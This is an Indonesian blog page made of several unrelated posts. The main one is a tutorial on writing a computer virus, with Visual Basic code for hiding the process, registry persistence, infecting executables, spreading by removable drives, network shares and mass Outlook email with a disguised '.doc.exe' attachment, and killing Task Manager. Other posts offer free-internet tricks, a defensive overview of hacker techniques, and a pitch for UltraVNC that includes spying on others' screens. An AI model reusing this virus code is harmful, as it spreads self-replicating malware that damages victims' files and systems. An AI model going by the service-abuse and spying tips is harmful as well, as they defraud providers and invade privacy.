Teknik Pembuatan Virus Komputer
|
|
|
12150088160.jpg |
Hanya untuk pendidikan saja
Syarat sebuah virus computer :
- Menyembunyikan prosesnya dari pemakai
- Mengaktifkan dirinya setiap startup sistem
- Menyebarkan dirinya melalui media file executable
- Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
- Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
- Menyebarkan dirinya dengan filename spoofing.
- Mempercepat proses penyebarannya dengan pendekatan social engineering
- Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan
prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah
:
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar
program exe dapat diaktifkan setiap kali startup system, kita dapat
menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & “” & app.EXEName ,
environ$(”windir”) & “” & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject(”WScript.Shell”)
WShell.regwrite
“HKLMSoftwareMicrosoftWindowsCurrentVersionRunvirusku”, environ$(”windir”)
& “” & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program
virus harus dapat menginfeksi program-program executable dengan proses sebagai
berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran
Virus + Signature Virus
Sehingga setiap kali program yang telah
terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke
computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan,
maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan
:
Posisi Program Executable = Ukuran File – Ukuran
Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah
infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak
boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu
Signature Virus
Private Sub PeriksadanInfeksiExe(fname
As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
‘Jangan menginfeksi diri sendiri
‘Hanya menginfeksi file berukuran
lebih dibawah 1 Mega
If Dir(fname) <> “” Then
If FileLen&(fname) > virSize And
FileLen&(fname) < 1048576 Then
‘Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum ‘Buka file
target
Seek fNum, LOF(fNum) - 5 + 1 ‘pindah file pointer ke
posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature ‘baca tSignature
Close fNum
If tSignature <> virSignature Then ‘jika file
virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum
‘Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode ‘baca Program Executable
Put fNum, 1, virCode ‘tulis Program Virus diawal
Put fNum, , OriginalCode ‘tulis Program Executable
Put fNum, , virSize ‘tulis Ukuran Virus
Put fNum, , virSignature ‘tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) +
Chr$(153) + Chr$(203)
Open exePath + App.EXEName + “.exe” For Binary
Access Read As #1
Seek #1, LOF(1) - 5 + 1 ‘pindah file pointer ke posisi
virSize
tSignature = Space$(5)
Get #1, , tSignature ‘baca virSignature
If tSignature <> virSignature Then ‘Jika file
virus sendiri
virSize = LOF(1) ‘ukuran virSize sama dengan ukuran
file
virCode = Space$(virSize) ’siapkan buffer virCode
Seek #1, 1 ‘ke posisi bof
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
Close #1
Call VirInstall ‘instalasi virus
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
‘Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 ‘pindah file pointer ke posisi
virSize
Get #1, , virSize ‘baca virSize (long = 4 byte)
‘Baca vircode
virCode = Space$(virSize)
Seek #1, 1 ‘ke posisi BOF (Awal file)
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) ’siapkan buffer
Get #1, , OriginalCode ‘baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName &
fNum & “.exe”) <> “”
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum
& “.exe”
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode ‘tulis ke file sementara
Close #2 ‘tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff ‘aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname ‘hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) ‘jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False,
Host)
GetExitCodeProcess HProc, HExit ‘ambil status aktif
Do While HExit = STILL_ACTIVE ‘proses ditahan selama
proses masih aktif
DoEvents ‘lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString,
titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan
dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja
dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A
oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
‘Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, “3½
Floppy (A:)”)
If Not floppy_hwnd = 0 Then
Call InfeksiResource(”A:”, “DOCXLS”) ‘Hanya
infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan
dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable
drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO =
CreateObject(”Scripting.FileSystemObject”)
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C
adalah flash disk
‘1 - Removable drive
‘2 - Fixed drive (hard disk)
‘3 - Mapped network drive
‘4 - CD-ROM drive
‘5 - RAM disk
If ObjDrive.DriveType = 1 And
ObjDrive.DriveLetter > “C” Then
Call InfeksiResource(ObjDrive.DriveLetter + “:”,
“XLSDOC”)
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di
Share pada computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target
As String
If GetShares(”127.0.0.1″, “Microsoft Windows
Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang
terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya
dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(”", “Microsoft Windows
Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada
masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String,
Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows
Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang
dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String,
Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, “Microsoft Windows
Network”, Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, “XLSDOCEXE”)
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook =
CreateObject(”Outlook.Application”)
Set Mapi = Outlook.GetNamespace(”MAPI”)
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = “Subject Virus Anda”
Mail.Body = vbCrLf & “Pesan anda agar
pemakai tertarik membuka attachment.”
Mail.Attachments.Add Environ$(”windir”) & “”
& attachment & “.doc.exe”
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis
tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah
seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script
extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat
membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan
Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari
pemakai.
Ada juga worms yang menyebarkan diri melalui
website, dimana jika anda mengunjungi suatu website dengan software browser
yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang
tidak diinginkan dan menjalankannya.
Ada juga worms yang menyebar melalui media
Bluetooth yang dalam keadaan terbuka.
Menyebarkan dirinya dengan filename spoofing.
Teknik
filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan
double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan
extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik
ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan
siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker
untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung
kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan
kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat
nama-nama file, maupun pesan email yang memancing korban untuk penasaran
membuka attachment.
Ada juga virus yang disebarkan pada game-game
maupun crack software yang menumpang pada program tersebut.
Berusaha mempertahankan existensi dirinya
Mencoba
mematikan proses-proses program yang berpotensi untuk menghentikan proses
virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU
SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools”, 0,
“REG_DWORD”
WShell.regwrite “HKCU
SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableCMD”, 0, “REG_DWORD”
Maupun melacak jendela proses-proses musuh, dan
menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = “Registry Editor”
EnemyProcess(2) = “Windows Task Manager”
EnemyProcess(3) = “Process Viewer”
EnemyProcess(4) = “Open With”
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As
String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula. Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Seorang teman mengirimkan catatan seperti tertulis di bawah ini:
Saya tidak tahu berapa sebenarnya anda membayar saat mengisi bensin………tetapi di sini, diDurban, harga bahan bakar juga mahal. Saya telah bekerja di bidang bahan bakar/bensin selama 31 tahun, sehingga saya bisa memberikan beberapa cara agar uang anda menjadi lebihberharga untuk setiap liter bahan bakar yang anda beli.Di Marian Hill Pipeline tempat saya bekerja di Durban, dalam waktu 24 jam kami pemompakan/menyalur kan kurang lebih 4 juta liter.Satu hari solar, hari berikutnya
Continue reading TIPS CARA MENGISI BENSIN/BAHAN BAKAR KENDARAAN ANDA…
Saya memiliki sebuah hp 6300 mempunyai problem offline alias jika dimasukan simcard muncul masukan restriction code? Setelah saya googling mencari informasi diinternet dapet sofwre calculator code unlock, dll. Tetap tidak dapat member
Continue reading Help Me Buka Restriction Code Nokia 6300?
Trik ini bisa dipake untuk gratis smart….dial up standar smart, trus siapkan software nettols masukin proxy target…scan port pake nettols…lo udah dpt port yang terbuka langsung dicoba pake trik terdahulu…..selamat berjuang (maaf trik ini tidak terlalu diekspose secara detail)
Banyak yang jualan account premium rapidshare maupun mega uppload, disini gratis cukup dengan klik disini
tinggal ikutin langkah-langkahnya dijamin 100 % gratis brooo….
Karena melihat iklan yang menggiurkan internet permenit Cuma 75 rupiah / menit, akhirnya saya mencoba cari perdana jagoan dan langsung seting dial up username starone, password indosat, dial #777. ternyata ga bisa langsung dipake alias nunggu 1 x 24 jam….dan untuk mendapatkan akses internet kita harus daftar dulu mau pilih yg time based apa yang volume based. Caranya sebagai berikut: Volume based; reg vol kirim 799, Time based; Reg time kirim 799. Setelah dapet sms aktivasi saya coba pake yang time based, dial lg dan test bandwidth cukup mengecewakan Cuma 87 Kbs/second……
Saya mau tunjukkan server PHP gratis yang bagus, cocok untuk kamu yang baru
coba-coba
membuat website
Caranya :
- Daftar/ register di: http://ripway.com/signup.asp
- Login
- Upload file-file websitemu
Untuk paket freenya ripway menyediakan:
- 30 Mb Space
- PHP 4.x
- FTP
Kekurangan-nya:
- Tidak ada MySql
Aksesnya lumayan cepat untuk kelas free server PHP yang letaknya di amerika
baik juga FTP-nya
Servernya di Amerika
PHP safe_mode = on
Sehingga sulit di hack
Kok tahu kalo gak bisa di hack?
Ya karena aku udah pernah coba serang pakai remote shell dan
hasilnya gagal, heuhueh :p~
Selamat Mencoba
Sumber dari situs Ilmu Website dalam kategori
Anda pingin internet gratis 24 jam dirumah ga perlu mahalllll!!! anda cukup pake hp cdma yang dual band 800/1800 Mhz dan beli perdana smart. Plus setting dial up smart: Dial #777, username: smart, password smart, pake mozilla firefox 2.0 atau opera 2.7 pake trik ini.
saya ud coba 4 bulan msh gratis tis…..trik ini teruji di wil jabotabek…kunjungi blog ini setiap saat karena akan anda banyak trik laen….Trik mati
THREE GRETZ Internet Gratis ”
Cukup dengan sedikit trik ternyata bisa mendapatkan Internet gratis, Ironis sekali Dinegara yg sedang berkembang dengan segala keterbatasan yang apa-apa serba mahal, internet mahal, telpon mahal sebentar lg BBM Mahal krn subsidinya akan dicabut oleh pemerintah. Ini memancing kita untuk lebih kreatif pada awalnya sms gratis dgn memanfaatkan provider indosat, dgn cara merubah smsc alias no center sms, kemudian internet gratis pake handphone GSM simcard IM3, XL. Selanjutnya internet gratis menggunakan CDMA Fren, sekarang fren sudah ngga bisa lagi muncul three dengan memanfaatkan jalur 3mms. Teryata masih banyak jalan menuju Gratisan…Mau
ETKOM
Sedia Antena Wireless :
-Sectoral Waveguide Lokal 19db 120*Rp825rb
-Grid 24db Hyperlink Rp725rb
-Grid 24db Engenius Rp550rb
-Grid 24db 2,3Ghz-2,4Ghz KenbotongRp525rb
-Grid 25db Korea Rp 400rb
-Grid Korea 27dbRp550rb
-Omni 15db FineticRp850rb
-Omni 15db HyperlinkRp1.450rb
-Omni 19db Slotted Lokal Rp825rb
http://netkom-wifi.com
Sidoarjo, 031-8833235 & 70419098
Site:
http://antena-wireless.blogspot.com
Author:
NETKOM
Time:
Sunday, August 24th, 2008 at 10:16 pm
Category:
Comments:
You can leave a response, or trackback from your own site.
RSS:
You can follow any responses to this entry through the RSS 2.0 feed.
Navigation:
BAGAIMANA SAYA MEMBUAT KEBERUNTUNGAN DENGAN “IDE YANG BODOH” »
Lima jenis Trojan Horse dan tehnik serangannya
Ancaman terhadap keamanan LAN / WAN »
Tehnik hackers menerobos keamanan
Ditulis oleh hadiwibowo di/pada Nopember 14, 2007
Aktifitas hackers (*sesungguhnya yang saya maksudkan adalah crackers, tapi media massa telah salah mempopulerkannya*) adalah nyata dan menjadi ancaman serius yang terus menerus berkembang serta dapat mengganggu kegiatan bisnis. Mereka masuk dalam sistem internal perusahaan melalui sambungan internet / LAN atau kegiatan secara fisik lainnya yang memungkinkan mereka terhubung ke terminal komputer.
Berikut disampaikan secara umum beberapa tehnik yang biasa dipakai hackers untuk mendapatkan akses ilegal ke sumber daya komputer.
A. Mencuri akses log-in yang dipakai
Untuk melakukan akses ilegal ke dalam sistem komputer salah satunya adalah dengan mendapatkan akses log-in yang dipakai. Hal ini bisa dilakukan ketika hacker secara fisik berada di dekat fasilitas komputer atau berusaha mengakses sistem melalui koneksi dial-in.
1. Mencuri akses secara fisik : tahap penting dalam menjaga keamanan sistem informasi adalah menjamin bahwa akses secara fisik ke sumber daya komputer adalah terbatas. Orang dalam atau luar yang secara fisik mempunyai akses ke terminal komputer akan memiliki kesempatan mendapatkan log-in yang sedang digunakan.
2. Mendapatkan akses melalui dial-in : metode lain untuk mendapatkan akses log-in adalah dengan melakukan dial-in ke host. Program “daemon dialers”, yang banyak tersedia di internet, dapat mengidentifikasi ID modem yang sedang berlaku. Sekali hackers mengetahui ID modem suatu terminal/host, dia dapat melakukan dial-in dan mendapatkan akses log-in yang dipakai.
Untuk meminimalisir potensi pelanggaran akses log-in ini dapat dilakukan langkah-langkah :
- Terminal komputer diletakkan (secara fisik) ditempat yang aman;
- Pengamanan dan pengendalian akses yang baik dipasang pada semua jendela dan pintu tempat dimana hardware komputer berada;
- Komputer yang diletakkan diluar area yang diamankan dan terhubung ke jaringan perusahaan, harus menggunakan password yang baik;
- Mematikan modem ketika tidak digunakan;
- Menggunakan fasilitas call-back, memberikan ekstra otentikasi, atau menggunakan one-time password;
- Menghilangkan logo dan nama organisasi dari layar log-in untuk menghilangkan tanda pengenal, sehingga hackers tidak dapat mengetahui dengan cepat sistem mana yang dimasuki;
- Menggunakan alarm atau pesan peringatan saat pihak yang tidak berhak memasuki sistem dan mencatat aktifitasnya.
B. Mencuri password
Beberpa tehnik yang populer untuk mencuri password adalah :
1. Brute Force Attacks : merupakan usaha menebak password baik secara manual ataupun otomatis. Umumnya hackers memiliki daftar password yang berisi koleksi password default yang terpasang secara otomatis saat suatu program diinstal. Program penebak password banyak tersedia juga di internet.
2. Password cracking : merupakan program untuk mendapatkan password dengan memanfaatkan celah keamanan. Program ini banyak tersedia di internet, misalnya program Crack. Crack bekerja dengan cara menyandi kamus standar dan kemudian membandingkannya dengan password yang disandi oleh sistem sampai menemukan kata-kata yang cocok.
Untuk menghindari pencurian password dapat dilakukan langkah-langkah :
- Mem-password semua user account;
- Ganti default password segera setelah instal program;
- Gunakan kata-kata / frasa yang sukar ditebak;
- Ganti password secara periodik;
- User account yang sudah tidak terpakai segera dihapus;
- Password yang telah disandi disimpan dalam file yang terlindung dengan baik (disamarkan);
- Jangan menuliskan password didekat terminal komputer / work station;
- Usahakan hanya sedikit orang yang memiliki akses terhadap sistem administrator, untuk menghindari resiko peng-copy-an password yang sedang digunakan;
- Memberikan pengertian kepada user akan pentingnya mengelola, menjaga keamanan password yang dimiliki.
3. Keystroke logging : tehnik ini sangat sederhana dan hampir selalu tidak terdeteksi. Hackers dapat menggunakan sebuah disket untuk menginstal program key-stroke logging melalui work-station. Sekali program ini masuk ke dalam sistem, dia akan menetap di dalam sistem dan menangkap setiap sign-on berdasarkan kata kunci pembukanya. Hacker dapat memanfaatkan sign-on yang tertangkap tersebut dari jauh (remote location).
Untuk mencegah aksi ini :
- Gunakan one-time password untuk sign-on pada account dengan tingkat sensitif tinggi;
- Secara periodik lakukan scanning untuk mengetahui trojan atau malware lain yang terlanjur masuk kedalam sistem;
- Tempatkan hardware komputer di tempat yang terlindung dan diberi pembatasan akses.
4. Packet sniffing : program-program network monitoring tools seperti network analyzers dan packet sniffers tersedia sangat banyak di internet. Tool ini bekerja dengan cara menangkap paket data yang ditransmisikan melalui saluran komunikasi. Terkadang hacker juga melakukan packet sniffer dengan cara menghubungkan laptopnya ke port jaringan perusahaan, baru kemudian melakukan pencurian data.
Lalu-lintas data dalam jaringan hampir dapat dipastikan tidak dibungkus dengan metode penyandian yang baik, sehingga merupakan kesempatan emas bagi hacker untuk mendapatkan user account dan password yang ada di dalam jaringan.
Untuk mencegah dan meminimalisir akibat aksi packet sniffer :
- Jalur komunikasi sedapat mungkin dibagi dalam beberapa bagian;
- Data-data sensitif ditransmisikan melalui jaringan komunikasi dalam bentuk yang sudah disandi dengan metode penyandian yang baik;
- Menggunakan one-time password untuk sign-on pada account dengan tingkat yang sensitif;
- Akses kepada saluran komunikasi dan komputer, secara fisik dibatasi.
5. Social engineering : interaksi sosial yang mengabaikan keamanan informasi menjadi salah satu cara hackers untuk mendapatkan data sensitif secara langsung ataupun tidak langsung dari user.
Untuk mencegah kebocoran informasi melalui kegiatan ini :
- Secara periodik dilakukan penyegaran dan sosialisasi pentingnya menjaga keamanan informasi yang dimiliki;
- Melakukan pencatatan dan dokumentasi atas semua prosedur pengendalian akses;
- Membangun kesadaran pengamanan informasi di seluruh staf baik manajemen maupun operasional;
- Waspada terhadap pesan tipuan yang berisi “permintaan konfirmasi password”, “reset password” atau “lupa password”.
C. Metode lainnya untuk mencuri akses
1. IP address spoofing : adalah salah satu cara pengelabuan yang membuat untrusted host terlihat seperti trusted host dalam sebuah jaringan. Hal ini terjadi karena hackers merubah IP address host tersebut sehingga menyerupai trusted host. Dengan kata lain penyusup menipu host dalam jaringan sehingga penyusup tersebut tidak perlu melakukan otentikasi untuk dapat terhubung dengan jaringan lokal.
Untuk menangkal serangan ini dilakukan :
- Mengkonfigurasi firewall dan router sedemikian rupa agar dapat menangkal serangan IP spoofing;
- Hanya host yang dinyatakan aman yang diijinkan untuk terhubung ke dalam jaringan.
2. Terminal yang tidak dijaga : sering terjadi sebuah terminal dalam keadaan sign-on ditinggalkan oleh user, entah ke toilet atau istirahat makan. Bila kebetulan ada hacker yang secara fisik berada di tempat tersebut, maka hacker akan mempunyai kesempatan untuk mengakses data secara ilegal atau memasukkan trojan ke dalam sistem.
Untuk meminimalisir kejadian tersebut :
- Gunakan screen server yang dipasangi password, yang otomatis dijalankan setelah beberapa menit tidak ada aktifitas dalam sistem;
- Memberi pengertian pada user untuk selalu melakukan sign-off setiap kali meninggalkan terminal;
- Melakukan pengawasan ditempat dimana terminal tersebut berada.
3. Writeable set user ID files : beberapa sistem menyediakan sebuah file penyimpan user ID untuk mengakses terminal. Hacker akan mencari file yang diidentifikasikan sebagai set-user-ID (SUID) tersebut dan mencoba menuliskan kode tambahan kedalam SUID agar mendapatkan akses menuju root.
Untuk mencegah penyusupan ini :
- Dilakukan pembatasan terhadap program yang dapat mengakses SUID;
- SUID dikonfigurasikan sedemikian rupa sehingga hanya dapat diubah melalui root;
- Hanya user yang terdaftar dalam sistem yang dapat menulis di file SUID.
4. Laporan dari Computer Emergency Response Team (CERT) : CERT selalu memberikan laporan-laporan tentang celah keamanan yang teridentifikasi. Namun eksploitasi ini sering dimanfaatkan oleh pihak yang bermaksud jahat untuk mendapatkan keuntungan dengan memasuki sistem secara ilegal. Hackers selalu mengikuti laporan CERT ini untuk mengidentifikasi bugs baru dari suatu sistem.
Administrator jaringan dan profesional keamanan informasi perlu mengikuti dengan cermat laporan-laporan CERT, melakukan checksum untuk menguji hasil-hasil yang dilaporkan CERT sebelum diimplementasikan dan melakukan penutupan celah keamanan yang teridentifikasi.
5. Hackers bulletin board : hackers dari seluruh dunia saling bertukar informasi dalam internet melalui forum atau milis dan bahkan menerbitkan laporan/tulisan dalam buletin. Mereka membahas masalah celah keamanan, keamanan sistem informasi, berbagi tehnik dan program baru, atau bahkan membahas informasi sensitif milik organisasi tertentu.
Administrator dan profesional keamanan jaringan perlu juga secara teratur mengikuti perkembangan pembahasan di forum hackers, dengan tujuan memperkuat sistem keamanan informasi dalam organisasinya.
6. Software di internet : internet banyak sekali menyediakan program/tools yang dapat digunakan oleh administrator untuk membantu melindungi komputer dan membantu melakukan scanning celah keamanan. Namun tool tersebut juga dipakai para hacker untuk maksud yang sebaliknya.
Administrator jaringan perlu secara teratur melakukan audit terhadap sistemnya. Audit ini dapat dilakukan secara internal ataupun melalui konsultan independen. Selain itu secara reguler administrator perlu mengecek versi terakhir dari tool yang digunakan untuk membantu keamanan sistem. Serta pastikan setiap celah keamanan yang ditemukan telah diatasi dengan baik. -antz-
Sumber : Handbook of Information Security Management
Setelah beberapa bulan di
Di Birmingham dulu saya dianggap “pakar” komputer oleh para kolega saya.
Salah satu keluhan mereka pada saat ini adalah “if Harry’s still here, this
will be done”, karena kini sayatidak lagi bekerja di Birmingham City Council.
Tapi, saya yakin bahwa sebetulnya banyak rekan-rekan saya di
Dan saya gembira bahwa saya tidak keliru. Selama ini, sudah berkali-kali saya, yang katanya “pakar” ini, dibuat tercengang melihat keahlian beberapa kawan-kawan disini.
Dulu saya sempat mengira bahwa untuk menjadi pakar komputer, hanya dibutuhkan
kemauan belajar & bekerja keras. Namun, seperti seni, kelihatannya juga
diperlukan bakat (!), untuk dapat berhasil di bidang IT.
Apakah memang benar demikian? Tapi, rasanya tidak ada penjelasan lainnya lagi,
bagaimana bisa ada orang yang mampu menguasai sekian banyak topik IT, dan
menjadi pakar di setiap topik tersebut. The difference is simply too vast - I’m
jack of all trades, but there are those who are actually master of all trades.
Sejak saya menyadari ini sekitar setahun atau dua tahun yang lalu, saya
mulai menyesuaikan arah karir saya. Kalaupun saya akan kalah dari segi
kemampuan teknis dan kecepatan belajar (yang mana sangat vital untuk bidang
ini); paling tidak saya harus tetap mampu untuk beradaptasi
dengan fakta ini.
Kini saya lebih memfokuskan diri ke topik project management dan kemampuan
analisis; bagaimana mendesain solusi IT yang tepat untuk suatu masalah. Lalu
juga bagaimana memposisikan diri menjadi contact person ke user; bagaimana
mengkomunikasikan berbagai isyu IT ke user dengan bahasa yang mudah dimengerti,
dan bagaimana mengkomunikasikan berbagai isyu dari user ke para staf IT.
Basically, Making IT Works.
Salah satu kekurangan dari beberapa rekan hacker kita tersebut adalah,
walaupun mereka luar biasa ahli dari segi teknis, namun mereka kadang gagal
melihat suatu hal dari perspektif user / end user. Karena ini, maka kadang
solusi yang mereka buat sangat sempurna dari segi teknis, namun tidak bisa
digunakan / tidak diminati oleh para user.
Atau, kadang solusi yang dihasilkan sangat rumit dan kompleks, sehingga tidak
feasible untuk di-deploy & di-maintain dalam skala besar. Dst.
Customer / user hanya ingin agar infrastruktur IT mereka berjalan. Just
Works. Mereka sama sekali tidak tertarik untuk mengetahui bagaimana kita telah
me tuning server mereka habis-habisan, sehingga bisa melayani jutaan request
per menit tanpa tersedak sama sekali. Mereka tidak ingin tahu bagaimana
software yang kita develop telah di optimalisasi sehingga hanya memerlukan
sangat sedikit memory untuk berjalan.
Mereka hanya ingin bisa mengerjakan pekerjaan mereka tanpa masalah.
Jika ada yang menjadi jembatan antara kedua kubu ini, customer & hacker,
then we can get the best of both worlds. Customer produktif berkat sistem kita,
dan dengan senang hati membayar mahal untuk itu. Hacker yang gembira karena
kerjanya dihargai, dan hasil kerjanya semakin meningkat.
I think it’s a worthy goal.
Bagi mereka yang ingin berkarir di bidang IT - Anda tetap bisa berprestasi
dengan modal kerja keras dan semangat belajar yang tinggi.
Namun, akan selalu ada orang-orang yang dapat melampaui Anda, tanpa perlu
berusaha sekeras Anda. Ini adalah fakta.
Jadi, jangan patah semangat. Cobalah untuk beradaptasi dengan situasi tersebut.
Dengan demikian, maka Anda akan tetap bisa, atau malah jadi sukses, berkarir di
bidang IT ini.
Bagi para hacker
Apakah anda termasuk salah seorang yang memiliki masalah seperti :
- Malas untuk berpindah tempat duduk, karena hendak mengontrol komputer di tempat lain?
- Sering ditanyai teman kerja mengenai masalah di komputernya?
- Ingin mengetahui apa yang sedang dilakukan anak buah anda ketika menghadap komputer?
- Anda seorang pervert yang ingin mengetahui isi layar monitor orang lain?
- Dan sejenisnya yang berhubungan dengan Remote Controlling PC orang lain by LAN?
Ultra VNC adalah jawabannya
Dengan menginstall Ultra VNC pada kedua belah pihak
- Ultra VNC Server pada komputer yang hendak di-remote
- Ultra VNC Viewer pada komputer yang hendak me-remote
Maka segala kesulitan anda dapat terpecahkan. Untuk dapat menggunakannya, anda dapat memilih untuk menginstall "FULL INSTALLATION" dan menggunakan VNC Viewer ataupun VNC Server sesuai kebutuhan.
Ultra VNC sama sekali tidak berhubungan dengan VNC seperti yang terlihat seperti di gambar ini, ataupun VNC lainnya.
Gunakan sebijak mungkin, karena Ultra VNC adalah produk gratis, legal, tidak berbayar, free royalty. Dalam bahasa Indonesia "Gratis 100%". Silahkan anda download sendiri, atau ingin mendownload lewat filehippo.com. Selamat mencoba, dan jangan menyalahgunakan program ini untuk merugikan orang lain.
